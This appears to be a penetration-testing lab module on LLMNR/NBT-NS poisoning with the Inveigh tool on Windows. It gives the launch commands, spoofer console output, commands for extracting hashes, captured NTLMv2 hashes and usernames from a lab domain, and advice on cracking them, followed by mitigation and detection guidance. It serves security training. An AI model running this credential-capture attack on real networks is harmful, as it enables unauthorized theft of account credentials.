LLMNR/NBT-NS Poisoning - Windows

If we end up with a Windows host as our attack box, our client provides us with a Windows box to test from, or we land on a Windows host as a local admin via another attack method and would like to look to further our access, the tool Inveigh works similar to Responder.

Wiki that lists all parameters and usage instructions.

Using Inveigh

PS C:\xyz> Import-Module .\Inveigh.ps1
PS C:\xyz> (Get-Command Invoke-Inveigh).Parameters

Key                     Value
---                     -----
ADIDNSHostsIgnore       System.Management.Automation.ParameterMetadata
KerberosHostHeader      System.Management.Automation.ParameterMetadata
ProxyIgnore             System.Management.Automation.ParameterMetadata
PcapTCP                 System.Management.Automation.ParameterMetadata
PcapUDP                 System.Management.Automation.ParameterMetadata
SpooferHostsReply       System.Management.Automation.ParameterMetadata
SpooferHostsIgnore      System.Management.Automation.ParameterMetadata
SpooferIPsReply         System.Management.Automation.ParameterMetadata
<SNIP>

Start Inveigh with LLMNR and NBNS spoofing, and output to the console and write to a file.

PS C:\xyz> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

[*] Inveigh 1.506 started at 2022-02-28T19:26:30
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.5.25
[+] Spoofer IP Address = 172.16.5.25
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Certificate Issuer = Inveigh
[+] HTTPS Certificate CN = localhost
[+] HTTPS Capture = Enabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Tools
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output
WARNING: [-] [2022-02-28T19:26:31] Error starting HTTP listener
WARNING: [!] [2022-02-28T19:26:31] Exception calling "Start" with "0" argument(s): "An attempt was made to access a
socket in a way forbidden by its access permissions" $HTTP_listener.Start()
[+] [2022-02-28T19:26:31] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:31] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:31] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:33] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:33] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:33] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:34] TCP(445) SYN packet detected from 172.16.5.125:56834
[+] [2022-02-28T19:26:34] SMB(445) negotiation request detected from 172.16.5.125:56834
[+] [2022-02-28T19:26:34] SMB(445) NTLM challenge 7E3B0E53ADB4AE51 sent to 172.16.5.125:56834

<SNIP>

We should be getting LLMNR and mDNS requests.


The PowerShell version of Inveigh is the original version and is no longer updated.

PS C:\xyz> \Inveigh.exe

[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]
[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[ ] DHCPv6
[+] DNS Packet Sniffer [Type A]
[ ] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[ ] MDNS
[ ] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[ ] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[ ] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Tools]
[+] Previous Session Files (Not Found)
[*] Press ESC to enter/exit interactive console
[!] Failed to start HTTP listener on port 80, check IP and port usage.
[!] Failed to start HTTPv6 listener on port 80, check IP and port usage.
[ ] [20:03:31] mDNS(QM)(A) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:31] mDNS(QM)(AAAA) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:31] mDNS(QM)(A) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[ ] [20:03:31] mDNS(QM)(AAAA) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[+] [20:03:31] LLMNR(A) request [academy-ea-web0] from 172.16.5.125 [response sent]
[-] [20:03:31] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125 [type ignored]
[+] [20:03:31] LLMNR(A) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:03:31] LLMNR(AAAA) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [type ignored]
[ ] [20:03:32] mDNS(QM)(A) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:32] mDNS(QM)(AAAA) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:32] mDNS(QM)(A) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[ ] [20:03:32] mDNS(QM)(AAAA) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[+] [20:03:32] LLMNR(A) request [academy-ea-web0] from 172.16.5.125 [response sent]
[-] [20:03:32] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125 [type ignored]
[+] [20:03:32] LLMNR(A) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:03:32] LLMNR(AAAA) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [type ignored]

The options with a [+] are default and enabled by default and the ones with a [ ] before them are disabled. The running console output also shows us which options are disabled.

ESC key to enter the console while Inveigh is running.

After typing HELP and hitting enter, we are presented with several option.

=============================================== Inveigh Console Commands ===============================================

Command                           Description
========================================================================================================================
GET CONSOLE                     | get queued console output
GET DHCPv6Leases                | get DHCPv6 assigned IPv6 addresses
GET LOG                         | get log entries; add search string to filter results
GET NTLMV1                      | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2                      | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE                | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE                | get one captured NTLMv2 hash per user; add search string to filter results
GET NTLMV1USERNAMES             | get usernames and source IPs/hostnames for captured NTLMv1 hashes
GET NTLMV2USERNAMES             | get usernames and source IPs/hostnames for captured NTLMv2 hashes
GET CLEARTEXT                   | get captured cleartext credentials
GET CLEARTEXTUNIQUE             | get unique captured cleartext credentials
GET REPLYTODOMAINS              | get ReplyToDomains parameter startup values
GET REPLYTOHOSTS                | get ReplyToHosts parameter startup values
GET REPLYTOIPS                  | get ReplyToIPs parameter startup values
GET REPLYTOMACS                 | get ReplyToMACs parameter startup values
GET IGNOREDOMAINS               | get IgnoreDomains parameter startup values
GET IGNOREHOSTS                 | get IgnoreHosts parameter startup values
GET IGNOREIPS                   | get IgnoreIPs parameter startup values
GET IGNOREMACS                  | get IgnoreMACs parameter startup values
SET CONSOLE                     | set Console parameter value
HISTORY                         | get command history
RESUME                          | resume real time console output
STOP                            | stop Inveigh

View unique captured hashes by typing GET NTLMV2UNIQUE.

================================================= Unique NTLMv2 Hashes =================================================

Hashes
========================================================================================================================
backupagent::LEGALCORP:B5013246091943D7:16A41B703C8D4F8F6AF75C47C3B50CB5:01010000000000001DBF1816222DD801DF80FE7D54E898EF0000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C00070008001DBF1816222DD8010600040002000000080030003000000000000000000000000030000004A1520CE1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000
forend::LEGALCORP:32FD89BD78804B04:DFEB0C724F3ECE90E42BAF061B78BFE2:010100000000000016010623222DD801B9083B0DCEE1D9520000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004600410043004100440045004D0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000700080016010623222DD8010600040002000000080030003000000000000000000000000030000004A1520CE1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0035002E00320035000000000000000000

<SNIP>

We can type in GET NTLMV2USERNAMES and see which usernames we have collected. These can be used to perform additional enumeration against and see which are worth attempting to crack offline using Hashcat.

=================================================== NTLMv2 Usernames ===================================================

IP Address                        Host                              Username                          Challenge
========================================================================================================================
172.16.5.125                    | ACADEMY-EA-FILE                 | LEGALCORP\backupagent       | B5013246091943D7
172.16.5.125                    | ACADEMY-EA-FILE                 | LEGALCORP\forend            | 32FD89BD78804B04
172.16.5.125                    | ACADEMY-EA-FILE                 | LEGALCORP\clusteragent      | 28BF08D82FA998E4
172.16.5.125                    | ACADEMY-EA-FILE                 | LEGALCORP\wley              | 277AC2ED022DB4F7
172.16.5.125                    | ACADEMY-EA-FILE                 | LEGALCORP\svc_qualys        | 5F9BB670D23F23ED

What now?

We've now captured hashes for several accounts. At this point, we would want to perform enumeration using a tool such as BloodHound to determine whether any or all of these hashes are worth cracking. If we get lucky and crack a hash for a user account with some privileged access or rights, we can begin expanding our reach into the domain. We may even get very lucky and crack the hash for a Domain Admin. If we were unlucky in cracking hashes or cracked some but did not yield any fruit, then perhaps password spraying will be more successful.


Mitigation against this Attack

Mitre ATT&CK lists this technique as ID: T1557.001, Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay.

There are a few ways to mitigate this attack. To ensure that these spoofing attacks are not possible, we can disable LLMNR and NBT-NS.

We can disable LLMNR in Group Policy by going to Computer Configuration --> Administrative Templates --> Network --> DNS Client and enabling "Turn OFF Multicast Name Resolution."

NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host. We can do this by opening Network and Sharing Center under Control Panel, clicking on Change adapter settings, right-clicking on the adapter to view its properties, selecting Internet Protocol Version 4 (TCP/IPv4), and clicking the Properties button, then clicking on Advanced and selecting the WINS tab and finally selecting Disable NetBIOS over TCP/IP.

While it is not possible to disable NBT-NS directly via GPO, we can create a PowerShell script under Computer Configuration --> Windows Settings --> Script (Startup/Shutdown) --> Startup with something like the following:

$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}

In the Local Group Policy Editor, we will need to double click on Startup, choose the PowerShell Scripts tab, and select "For this GPO, run scripts in the following order" to Run Windows PowerShell scripts first, and then click on Add and choose the script. For these changes to occur, we would have to either reboot the target system or restart the network adapter.

To push this out to all hosts in a domain, we could create a GPO using Group Policy Management on the Domain Controller and host the script on the SYSVOL share in the scripts folder and then call it via its UNC path such as:

\\legalcorp.local\SYSVOL\legalcorp.local\scripts

Once the GPO is applied to specific OUs and those hosts are restarted, the script will run at the next reboot and disable NBT-NS, provided that the script still exists on the SYSVOL share and is accessible by the host over the network.

Other mitigations include filtering network traffic to block LLMNR/NetBIOS traffic and enabling SMB Signing to prevent NTLM relay attacks. Network intrusion detection and prevention systems can also be used to mitigate this activity, while network segmentation can be used to isolate hosts that require LLMNR or NetBIOS enabled to operate correctly.


Detection

It is not always possible to disable LLMNR and NetBIOS, and therefore we need ways to detect this type of attack behavior. One way is to use the attack against the attackers by injecting LLMNR and NBT-NS requests for non-existent hosts across different subnets and alerting if any of the responses receive answers which would be indicative of an attacker spoofing name resolution responses. This blog post explains this method more in-depth.

Furthermore, hosts can be monitored for traffic on ports UDP 5355 and 137, and event IDs 4697 and 7045 can be monitored for. Finally, we can monitor the registry key HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the EnableMulticast DWORD value. A value of 0 would mean that LLMNR is disabled.